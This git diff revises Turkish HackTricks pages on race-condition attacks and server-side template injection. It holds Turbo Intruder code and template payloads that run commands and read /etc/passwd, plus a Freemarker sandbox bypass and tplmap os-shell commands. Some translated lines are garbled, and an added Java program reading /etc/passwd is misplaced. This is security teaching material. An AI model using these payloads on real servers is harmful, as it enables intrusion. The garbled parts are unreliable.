||||
Önceki araştırmadan önce, yalnızca bir YC oluşturmak için mümkün olduğunca hızlı paket göndermeye çalışan bazı kullanılan yüklerdi.
|
||||
|
||||
* **Repeater:** Önceki bölümden örnekleri kontrol edin.
|
||||
* **Intruder**: **Istek** i **Intruder**'a gönderin, **Seçenekler menüsü içinde** **30** **iş paraleli sayısını ayarlayın ve,** yük olarak **Boş yükleri** seçin ve **30** oluşturun.
|
||||
* **Turbo Intruder**
|
||||
- **Tekrarlayıcı:** Önceki bölümden örnekleri kontrol edin.
|
||||
- **Sızdıran:** **İsteği** **Sızdıran**'a gönderin, **Seçenekler** menüsünde **30** **iş parçağı sayısını** ayarlayın ve **Boş yükler** olarak seçin ve **30** oluşturun.
|
||||
- **Turbo Sızdıran**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
|
@ -170,41 +299,41 @@ asyncio.run(main())
|
|||
|
||||
### Limit aşımı / TOCTOU
|
||||
|
||||
Bu, bir eylemi gerçekleştirme sayısını sınırlayan yerlerde ortaya çıkan **zayıflıkların** en temel türüdür. Örneğin, bir web mağazasında aynı indirim kodunu birkaç kez kullanmak gibi. Çok basit bir örnek [**bu raporda**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) veya [**bu hata**](https://hackerone.com/reports/759247)'da bulunabilir.
|
||||
Bu, bir eylemi gerçekleştirme sayısını sınırlayan yerlerde ortaya çıkan **zayıflıkların** en temel türüdür. Örneğin, bir web mağazasında aynı indirim kodunu birkaç kez kullanmak. Çok basit bir örnek [**bu raporda**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) veya [**bu hata**](https://hackerone.com/reports/759247) bulunabilir.
|
||||
|
||||
Bu tür saldırıların birçok varyasyonu vardır, bunlar arasında:
|
||||
|
||||
* Bir hediye kartını birden fazla kez kullanma
|
||||
* Bir ürünü birden fazla kez derecelendirme
|
||||
* Hesap bakiyenizin üstünde para çekme veya transfer etme
|
||||
* Hesap bakiyenizi aşan miktarda para çekme veya transfer etme
|
||||
* Tek bir CAPTCHA çözümünü tekrar kullanma
|
||||
* Bir anti-brute-force hız sınırlamasını atlatma
|
||||
* Bir anti-brute-force hız sınırını aşma
|
||||
|
||||
### **Gizli alt durumlar**
|
||||
|
||||
Karmaşık yarış koşullarını sömürmek genellikle gizli veya **istenmeyen makine alt durumları** ile etkileşim fırsatlarından yararlanmayı içerir. İşte bu konuya nasıl yaklaşılacağı:
|
||||
Karmaşık yarış koşullarını sömürmek genellikle gizli veya **istenmeyen makine alt durumlarıyla** etkileşim fırsatlarını değerlendirmeyi gerektirir. İşte bu konuya nasıl yaklaşılacağı:
|
||||
|
||||
1. **Potansiyel Gizli Alt Durumları Tanımlayın**
|
||||
* Kritik verileri değiştiren veya etkileşime giren uç noktaları belirleyerek başlayın, örneğin kullanıcı profilleri veya şifre sıfırlama süreçleri. Odaklanılacak noktalar:
|
||||
* **Depolama**: Sunucu tarafında kalıcı verileri işleyen uç noktaları, istemci tarafında veri işleyenlere göre tercih edin.
|
||||
* **Eylem**: Varolan verileri değiştiren işlemleri arayın, yeni veri ekleyenlere göre sömürülebilir koşullar yaratma olasılığı daha yüksektir.
|
||||
* Kullanıcı profilleri veya şifre sıfırlama süreçleri gibi kritik verileri değiştiren veya etkileşime giren uç noktaları belirleyerek başlayın. Odaklanılacak noktalar:
|
||||
* **Depolama**: Sunucu tarafında kalıcı verileri işleyen uç noktaları, istemci tarafında veri işleyenlere göre daha fazla sömürülebilir koşullar yaratabilir.
|
||||
* **Eylem**: Var olan verileri değiştiren işlemleri arayın, yeni veri ekleyenlere göre sömürülebilir koşullar yaratma olasılığı daha yüksektir.
|
||||
* **Anahtarlama**: Başarılı saldırılar genellikle aynı tanımlayıcıya (örneğin, kullanıcı adı veya sıfırlama belirteci) dayalı işlemleri içerir.
|
||||
2. **İlk Sondajı Yapın**
|
||||
* Belirlenen uç noktaları yarış koşulu saldırılarıyla test ederek, beklenen sonuçlardan herhangi bir sapma olup olmadığını gözlemleyin. Beklenmeyen yanıtlar veya uygulama davranışındaki değişiklikler, bir zayıflık sinyali olabilir.
|
||||
* Belirlenen uç noktaları yarış koşulu saldırılarıyla test ederek beklenen sonuçlardan herhangi bir sapma olup olmadığını gözlemleyin. Beklenmeyen yanıtlar veya uygulama davranışındaki değişiklikler, bir zayıflığı işaret edebilir.
|
||||
3. **Zafiyeti Gösterin**
|
||||
* Zafiyeti sömürmek için genellikle sadece iki isteğin gerektiği minimum sayıda isteğe odaklanın. Bu adım, hassas zamanlama nedeniyle birden fazla deneme veya otomasyon gerektirebilir.
|
||||
|
||||
### Zaman Hassas Saldırılar
|
||||
|
||||
İsteklerin zamanlamasında hassasiyet, özellikle güvenlik belirteçleri için zaman damgalarının kullanıldığı durumlarda zayıflıkları ortaya çıkarabilir. Örneğin, zaman damgalarına dayalı şifre sıfırlama belirteçleri oluşturmak, aynı anda yapılan istekler için benzer belirteçlere izin verebilir.
|
||||
İsteklerdeki zamanlama hassasiyeti, özellikle güvenlik belirteçleri için zaman damgalarının kullanıldığı durumlarda zayıflıkları ortaya çıkarabilir. Örneğin, zaman damgalarına dayalı şifre sıfırlama belirteçleri oluşturmak, aynı anda yapılan istekler için benzer belirteçlere izin verebilir.
|
||||
|
||||
**Sömürmek İçin:**
|
||||
|
||||
* Aynı anda şifre sıfırlama istekleri yapmak için tek paket saldırısı gibi hassas zamanlama kullanın. Benzer belirteçler, bir zayıflık işareti olabilir.
|
||||
* Aynı anda şifre sıfırlama istekleri yapmak için tek paket saldırısı gibi hassas zamanlama kullanın. Benzer belirteçler, bir zayıflığı işaret eder.
|
||||
|
||||
**Örnek:**
|
||||
|
||||
* Aynı anda iki şifre sıfırlama belirteci isteyin ve bunları karşılaştırın. Eşleşen belirteçler, belirteç oluşturmada bir hata olduğunu gösterebilir.
|
||||
* Aynı anda iki şifre sıfırlama belirteci isteyin ve karşılaştırın. Eşleşen belirteçler, belirteç oluşturmada bir hata olduğunu gösterebilir.
|
||||
|
||||
**Bunu denemek için** [**PortSwigger Lab'ı**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **kontrol edin.**
|
||||
|
||||
|
@ -212,7 +341,7 @@ Karmaşık yarış koşullarını sömürmek genellikle gizli veya **istenmeyen
|
|||
|
||||
### Ödeme yap ve bir Öğe ekle
|
||||
|
||||
**Ödeme** yapın ve **ödemeniz gerekmeyen** ek bir öğe **ekleyin** nasıl yapılacağını görmek için bu [**PortSwigger Lab'ı**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)'na bakın.
|
||||
**Ödeme** yapın ve **ödemeniz gerekmeyen** ek bir öğe **ekleyin** nasıl yapılacağını görmek için bu [**PortSwigger Lab'ı**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) kontrol edin.
|
||||
|
||||
### Diğer e-postaları onayla
|
||||
|
||||
|
@ -220,21 +349,21 @@ Fikir, **aynı anda bir e-posta adresini doğrulamak ve farklı bir e-posta adre
|
|||
|
||||
### 2 e-posta adresine e-posta değiştirme Çerez tabanlı
|
||||
|
||||
[**Bu araştırmaya**](https://portswigger.net/research/smashing-the-state-machine) göre, Gitlab bu şekilde bir ele geçirilmeye açıktı çünkü **bir e-postanın e-posta doğrulama belirteçlerini diğer e-postaya gönderebilirdi**.
|
||||
[**Bu araştırmaya**](https://portswigger.net/research/smashing-the-state-machine) göre Gitlab, bir e-postanın doğrulama belirtecinin diğer e-postaya **gönderilebileceği** için bu şekilde ele geçirilebilir.
|
||||
|
||||
Bunu denemek için [**PortSwigger Lab'ı**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **kontrol edin.**
|
||||
|
||||
### Gizli Veritabanı durumları / Onayı Atlatma
|
||||
|
||||
Eğer bir **veritabanına bilgi eklemek** için **2 farklı yazma işlemi** kullanılıyorsa, **sadece ilk verinin veritabanına yazıldığı küçük bir zaman dilimi** oluşur. Örneğin, bir kullanıcı oluşturulurken **kullanıcı adı** ve **şifre** yazılabilir ve ardından yeni oluşturulan hesabı onaylamak için **belirteç** yazılabilir. Bu, bir hesabı onaylamak için **belirteçin bir süre boş** olabileceği anlamına gelir.
|
||||
Eğer bir **veritabanına bilgi eklemek** için **2 farklı yazma işlemi** kullanılıyorsa, **veritabanına yalnızca ilk verinin yazıldığı küçük bir zaman dilimi** oluşur. Örneğin, bir kullanıcı oluşturulurken **kullanıcı adı** ve **şifre** yazılabilir ve ardından yeni oluşturulan hesabı onaylamak için **belirteç** yazılabilir. Bu, bir süre için **bir hesabı onaylamak için belirtecin boş olduğu** anlamına gelir.
|
||||
|
||||
Bu nedenle, bir hesap kaydedin ve hemen hesabı onaylamak için boş bir belirteçle (`token=` veya `token[]=` veya başka bir varyasyon) birkaç istek göndermek, kontrol etmediğiniz bir e-postayı **onaylamanıza** olanak tanıyabilir.
|
||||
Bu nedenle, bir hesap kaydı yaptırın ve hemen hesabı onaylamak için boş bir belirteçle (`token=` veya `token[]=` veya başka bir varyasyon) birkaç istek göndermek, kontrol etmediğiniz bir e-postayı **onaylamanıza** olanak tanıyabilir.
|
||||
|
||||
Bunu denemek için [**PortSwigger Lab'ı**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **kontrol edin.**
|
||||
|
||||
### 2FA'yı Atlatma
|
||||
|
||||
Aşağıdaki sözdizimi kodu, oturum oluşturulurken **çok kısa bir süre 2FA'nın uygulanmadığı** için yarış koşuluna açıktır:
|
||||
Aşağıdaki sözdizimi, oturum oluşturulurken **çok kısa bir süre 2FA'nın uygulanmadığı** için yarış koşuluna açıktır:
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
|
@ -244,20 +373,20 @@ session['enforce_mfa'] = True
|
|||
```
|
||||
### OAuth2 sonsuz kalıcılık
|
||||
|
||||
Birkaç [**OAuth sağlayıcısı**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers) bulunmaktadır. Bu hizmetler, sağlayıcının kaydettiği kullanıcıları doğrulamanıza ve bir uygulama oluşturmanıza izin verir. Bunun için **istemci**, **uygulamanıza sağlayıcının içindeki bazı verilere erişim izni vermesini** isteyecektir.\
|
||||
Yani, şimdiye kadar sadece google/linkedin/github... ile yapılan ortak bir giriş işlemi, "_Uygulama \<InsertCoolName>, bilgilerinize erişmek istiyor, izin vermek istiyor musunuz?_" şeklinde bir sayfayla karşılaşılır.
|
||||
Birkaç [**OAuth sağlayıcı**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers) bulunmaktadır. Bu hizmetler, sağlayıcının kaydettiği kullanıcıları doğrulamanıza ve bir uygulama oluşturmanıza izin verir. Bunun için **istemci**, **uygulamanıza sağlayıcının içindeki bazı verilere erişim izni vermesini** isteyecektir.\
|
||||
Yani, şimdiye kadar sadece bir google/linkedin/github... girişiyle karşılaştığınız bir durum, "_Uygulama \<InsertCoolName>, bilgilerinize erişmek istiyor, izin vermek istiyor musunuz?_" şeklinde bir sayfa ile karşılaşırsınız.
|
||||
|
||||
#### `authorization_code` içinde Yarış Koşulu
|
||||
|
||||
**Sorun**, bunu **kabul ettiğinizde** ve kötü niyetli uygulamaya otomatik olarak bir **`authorization_code`** gönderildiğinde ortaya çıkar. Ardından, bu **uygulama, OAUth hizmet sağlayıcısındaki bir Yarış Koşulunu kötüye kullanarak hesabınız için **`authorization_code`**'dan daha fazla AT/RT (_Kimlik Doğrulama Belirteci/Yenileme Belirteci_) oluşturur. Temelde, uygulamanın verilerinize erişim iznini kabul ettiğiniz gerçeğini kötüye kullanarak **birkaç hesap oluşturacaktır**. Sonra, eğer **uygulamanın verilerinize erişim iznini kaldırırsanız bir AT/RT çifti silinecek, ancak diğerleri hala geçerli olacaktır**.
|
||||
**Sorun**, bunu **kabul ettiğinizde** ve kötü niyetli uygulamaya otomatik olarak bir **`authorization_code`** gönderildiğinde ortaya çıkar. Ardından, bu **uygulama, `authorization_code` içindeki Yarış Koşulunu kötüye kullanarak hesabınız için birden fazla AT/RT** (_Kimlik Doğrulama Belirteci/Yenileme Belirteci_) oluşturur. Temelde, uygulamanın verilerinize erişim iznini kabul ettiğiniz gerçeğini kötüye kullanacaktır ve **birkaç hesap oluşturacaktır**. Sonra, eğer **uygulamanın verilerinize erişim iznini kaldırırsanız bir AT/RT çifti silinecek, ancak diğerleri hala geçerli olacaktır**.
|
||||
|
||||
#### `Refresh Token` içinde Yarış Koşulu
|
||||
|
||||
Geçerli bir RT aldıktan sonra, bunu kullanarak birkaç AT/RT oluşturmaya çalışabilir ve **kullanıcı kötü niyetli uygulamanın verilerine erişim iznini iptal etse bile, birkaç RT hala geçerli olacaktır**.
|
||||
Geçerli bir RT aldıktan sonra, bunu kullanarak birkaç AT/RT oluşturmaya çalışabilir ve **kullanıcı kötü niyetli uygulamanın verilerine erişim iznini iptal etse bile birkaç RT hala geçerli olacaktır**.
|
||||
|
||||
## **WebSockets'te Yarış Koşulu**
|
||||
|
||||
[**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) içinde, **Web Sockets'te de Yarış Koşullarını** kötüye kullanmak için **paralel** olarak websocket mesajları göndermek için bir Java PoC bulabilirsiniz.
|
||||
[**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) içinde, **WebSockets'te de Yarış Koşullarını kötüye kullanmak için paralel olarak websocket mesajları göndermek** için bir Java PoC bulabilirsiniz.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
@ -269,15 +398,15 @@ Geçerli bir RT aldıktan sonra, bunu kullanarak birkaç AT/RT oluşturmaya çal
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Sıfırdan başlayarak AWS hacklemeyi</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerimizden oluşan**](https://opensea.io/collection/the-peass-family) [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) takip edin.
|
||||
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek destek sağlayın.
|
||||
* Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR'lar göndererek **hacking püf noktalarınızı paylaşın**.
|
||||
|
||||
</details>
|
||||
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
|
||||
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek **paylaşın**.
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -28,24 +28,24 @@ Jinja, web uygulamalarında kullanılan popüler bir şablon motorudur. Jinja ku
|
|||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
Bu zafiyetli kodda, kullanıcının isteğinden gelen `name` parametresi doğrudan `render` işlevi kullanılarak şablona iletiliyor. Bu, bir saldırganın `name` parametresine kötü amaçlı kod enjekte etmesine olanak tanıyabilir, bu da sunucu tarafı şablon enjeksiyonuna yol açabilir.
|
||||
Bu zafiyetli kodda, kullanıcının isteğinden gelen `name` parametresi doğrudan `render` fonksiyonu kullanılarak şablona iletiliyor. Bu, bir saldırganın `name` parametresine kötü amaçlı kod enjekte etmesine olanak tanıyabilir, bu da sunucu tarafı şablon enjeksiyonuna yol açabilir.
|
||||
|
||||
Örneğin, bir saldırgan şu şekilde bir yükleme ile istek oluşturabilir:
|
||||
Örneğin, bir saldırgan şu şekilde bir yükleme içeren bir istek oluşturabilir:
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
The payload `{{kötü-şey-buraya}}` is injected into the `name` parameter. Bu yük, saldırganın yetkisiz kodları yürütmesine veya şablon motorunu manipüle etmesine olanak tanıyan Jinja şablon direktiflerini içerebilir, potansiyel olarak sunucu üzerinde kontrol sağlayabilir.
|
||||
|
||||
Sunucu tarafı şablon enjeksiyonu zafiyetlerini önlemek için, geliştiricilerin kullanıcı girdilerinin şablonlara eklenmeden önce uygun şekilde temizlendiğinden ve doğrulandığından emin olmaları gerekir. Giriş doğrulaması uygulamak ve bağlam bilincine sahip kaçış tekniklerini kullanmak, bu zafiyetin riskini azaltmaya yardımcı olabilir.
|
||||
Sunucu tarafı şablon enjeksiyonu zafiyetlerini önlemek için, geliştiricilerin kullanıcı girdilerinin şablonlara eklenmeden önce uygun şekilde temizlendiğinden ve doğrulandığından emin olmaları gerekir. Giriş doğrulaması uygulamak ve bağlam bilincinde kaçış tekniklerini kullanmak, bu zafiyetin riskini azaltmaya yardımcı olabilir.
|
||||
|
||||
### Tespit
|
||||
|
||||
Sunucu Tarafı Şablon Enjeksiyonu (SSTI) tespiti için başlangıçta, **şablonu fuzzlama** basit bir yaklaşımdır. Bu, şablona özel karakterlerin bir dizisini (**`${{<%[%'"}}%\`**) enjekte etmeyi ve sunucunun düzenli verilere karşı bu özel yük ile farklılık göstermesini analiz etmeyi içerir. Zafiyet göstergeleri şunları içerir:
|
||||
Sunucu Tarafı Şablon Enjeksiyonu (SSTI) tespiti için başlangıçta, **şablonu fuzzlamak** doğrudan bir yaklaşımdır. Bu, şablona özel karakterlerin (**`${{<%[%'"}}%\`**) bir dizisini enjekte etmeyi ve sunucunun düzenli verilere karşı bu özel yük ile yanıtındaki farkları analiz etmeyi içerir. Zafiyet göstergeleri şunları içerir:
|
||||
|
||||
* Zafiyeti ve potansiyel olarak şablon motorunu ortaya çıkaran atılan hatalar.
|
||||
* Yansıma içinde yükün yokluğu veya bazı kısımlarının eksik olması, sunucunun bunu düzenli verilerden farklı işlediğini ima eder.
|
||||
* **Düz Metin Bağlamı**: Sunucunun şablon ifadelerini değerlendirip değerlendirmediğini kontrol ederek XSS'ten ayırın (örneğin, `{{7*7}}`, `${7*7}`).
|
||||
* **Kod Bağlamı**: Giriş parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin, `http://vulnerable-website.com/?greeting=data.username` içindeki `greeting`'i değiştirerek sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu görmek için, `greeting=data.username}}hello` kullanıcı adını döndürür.
|
||||
* **Düz Metin Bağlamı**: Sunucunun şablon ifadelerini değerlendirip değerlendirmediğini XSS'ten ayırt etmek için kontrol ederek teyit edin (örneğin, `{{7*7}}`, `${7*7}`).
|
||||
* **Kod Bağlamı**: Sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu görmek için giriş parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin, `http://vulnerable-website.com/?greeting=data.username` içindeki `greeting`'i değiştirerek sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu görmek için `greeting=data.username}}hello`'yu döndürün.
|
||||
|
||||
#### Tanımlama Aşaması
|
||||
|
||||
|
@ -60,15 +60,15 @@ yeni poliglotlar kullanan etkili bir SSTI + CSTI tarayıcıdır.
|
|||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||
```
|
||||
### [SSTImap](https://github.com/vladko312/sstimap)
|
||||
|
||||
SSTImap, Server-Side Template Injection (SSTI) tespit etmek için otomatize edilmiş bir araçtır. Bu araç, çeşitli web uygulamalarında SSTI zafiyetlerini tespit etmek için kullanılabilir. SSTImap, SSTI zafiyetlerini tespit etmek için farklı template motorlarını destekler ve sonuçları raporlar.
|
||||
### [SSTImap](https://github.com/vladko312/sstimap)
|
||||
```bash
|
||||
python3 sstimap.py -i -l 5
|
||||
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
|
||||
python3 sstimap.py -u 'https://example.com/page?name=John' -s
|
||||
```
|
||||
### [Tplmap](https://github.com/epinna/tplmap)
|
||||
### [Tplmap](https://github.com/epinna/tplmap)
|
||||
|
||||
Tplmap, bir sunucu tarafı şablon enjeksiyonu (SSTI) saldırıları için otomatize edilmiş bir araçtır. Bu araç, çeşitli şablon motorlarını hedefleyebilir ve saldırı vektörlerini otomatik olarak tespit edebilir.
|
||||
```python
|
||||
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
|
||||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
|
||||
|
@ -76,7 +76,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
|
|||
```
|
||||
### [Şablon Enjeksiyon Tablosu](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
en etkili şablon enjeksiyon poliglotlarını ve 44 en önemli şablon motorunun beklenen yanıtlarını içeren etkileşimli bir tablo.
|
||||
44 en önemli şablon motorunun beklenen yanıtlarıyla birlikte en etkili şablon enjeksiyon poliglotlarını içeren etkileşimli bir tablo.
|
||||
|
||||
## Sızma
|
||||
|
||||
|
@ -103,6 +103,24 @@ ${class.getResource("../../../../../index.htm").getContent()}
|
|||
${T(java.lang.System).getenv()}
|
||||
```
|
||||
**Java - /etc/passwd Dosyasını Almak**
|
||||
|
||||
```java
|
||||
import java.io.*;
|
||||
|
||||
public class SSTI {
|
||||
public static void main(String[] args) throws IOException {
|
||||
ProcessBuilder pb = new ProcessBuilder("/bin/sh", "-c", "cat /etc/passwd");
|
||||
pb.redirectErrorStream(true);
|
||||
Process p = pb.start();
|
||||
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) {
|
||||
System.out.println(line);
|
||||
}
|
||||
p.waitFor();
|
||||
}
|
||||
}
|
||||
```
|
||||
```java
|
||||
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
|
||||
|
||||
|
@ -126,7 +144,7 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()
|
|||
```
|
||||
**Freemarker - Sandbox bypass**
|
||||
|
||||
⚠️ Sadece 2.3.30 sürümünden önceki Freemarker sürümlerinde çalışır
|
||||
⚠️ Sadece 2.3.30 sürümlerinden önceki Freemarker sürümlerinde çalışır
|
||||
```java
|
||||
<#assign classloader=article.class.protectionDomain.classLoader>
|
||||
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
|
||||
|
@ -136,11 +154,12 @@ ${dwf.newInstance(ec,null)("id")}
|
|||
```
|
||||
**Daha fazla bilgi**
|
||||
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) adresinde FreeMarker bölümünde.
|
||||
* FreeMarker bölümünde [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
|
||||
|
||||
### Velocity (Java)
|
||||
```java
|
||||
// I think this doesn't work
|
||||
#set($str=$class.inspect("java.lang.String").type)
|
||||
#set($chr=$class.inspect("java.lang.Character").type)
|
||||
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
|
||||
|
@ -149,15 +168,26 @@ $ex.waitFor()
|
|||
#foreach($i in [1..$out.available()])
|
||||
$str.valueOf($chr.toChars($out.read()))
|
||||
#end
|
||||
|
||||
// This should work?
|
||||
#set($s="")
|
||||
#set($stringClass=$s.getClass())
|
||||
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
|
||||
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
|
||||
#set($out=$process.getInputStream())
|
||||
#set($null=$process.waitFor() )
|
||||
#foreach($i+in+[1..$out.available()])
|
||||
$out.read()
|
||||
#end
|
||||
```
|
||||
**Daha fazla bilgi**
|
||||
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) adresinde Velocity bölümünde
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity) adresinde
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
|
||||
|
||||
### Thymeleaf
|
||||
|
||||
Thymeleaf'te SSTI zafiyetleri için yaygın bir test ifadesi `${7*7}`'dir, bu ifade bu şablon motoruna da uygulanır. Potansiyel uzaktan kod yürütme için aşağıdaki gibi ifadeler kullanılabilir:
|
||||
Thymeleaf'te SSTI zafiyetleri için yaygın bir test ifadesi `${7*7}` olup bu ifade de bu şablon motoruna uygulanır. Potansiyel uzaktan kod yürütme için aşağıdaki gibi ifadeler kullanılabilir:
|
||||
|
||||
* SpringEL:
|
||||
|
||||
|
@ -170,17 +200,17 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
|
|||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
Thymeleaf, bu ifadelerin belirli öznitelikler içinde yer almasını gerektirir. Bununla birlikte, _ifade içine yerleştirme_ diğer şablon konumları için desteklenir ve `[[...]]` veya `[(...)]` gibi sözdizimi kullanılarak kullanılabilir. Bu nedenle, basit bir SSTI test yükü şu şekilde olabilir `[[${7*7}]]`.
|
||||
Thymeleaf, bu ifadelerin belirli öznitelikler içinde yer almasını gerektirir. Bununla birlikte, _ifade içine alma_ diğer şablon konumları için desteklenir ve `[[...]]` veya `[(...)]` gibi sözdizimi kullanılarak kullanılabilir. Bu nedenle, basit bir SSTI test yükü `[[${7*7}]]` gibi görünebilir.
|
||||
|
||||
Ancak, bu yükün çalışma olasılığı genellikle düşüktür. Thymeleaf'in varsayılan yapılandırması dinamik şablon oluşturmayı desteklemez; şablonlar önceden tanımlanmış olmalıdır. Geliştiriciler, şablonları uygulamak için kendi `TemplateResolver`'larını oluşturmalıdır, bu da nadir bir durumdur.
|
||||
Ancak, bu yükün genellikle çalışma olasılığı düşüktür. Thymeleaf'in varsayılan yapılandırması dinamik şablon oluşturmayı desteklemez; şablonlar önceden tanımlanmış olmalıdır. Geliştiriciler, şablonları dize üzerinden dinamik olarak oluşturmak için kendi `TemplateResolver`'larını uygulamaları gerekir ki bu nadir görülür.
|
||||
|
||||
Thymeleaf ayrıca _ifade ön işleme_ sunar, burada çift alt çizgiler içindeki (`__...__`) ifadeler ön işlemden geçirilir. Bu özellik, ifadelerin oluşturulmasında kullanılabilir, Thymeleaf belgelerinde gösterildiği gibi:
|
||||
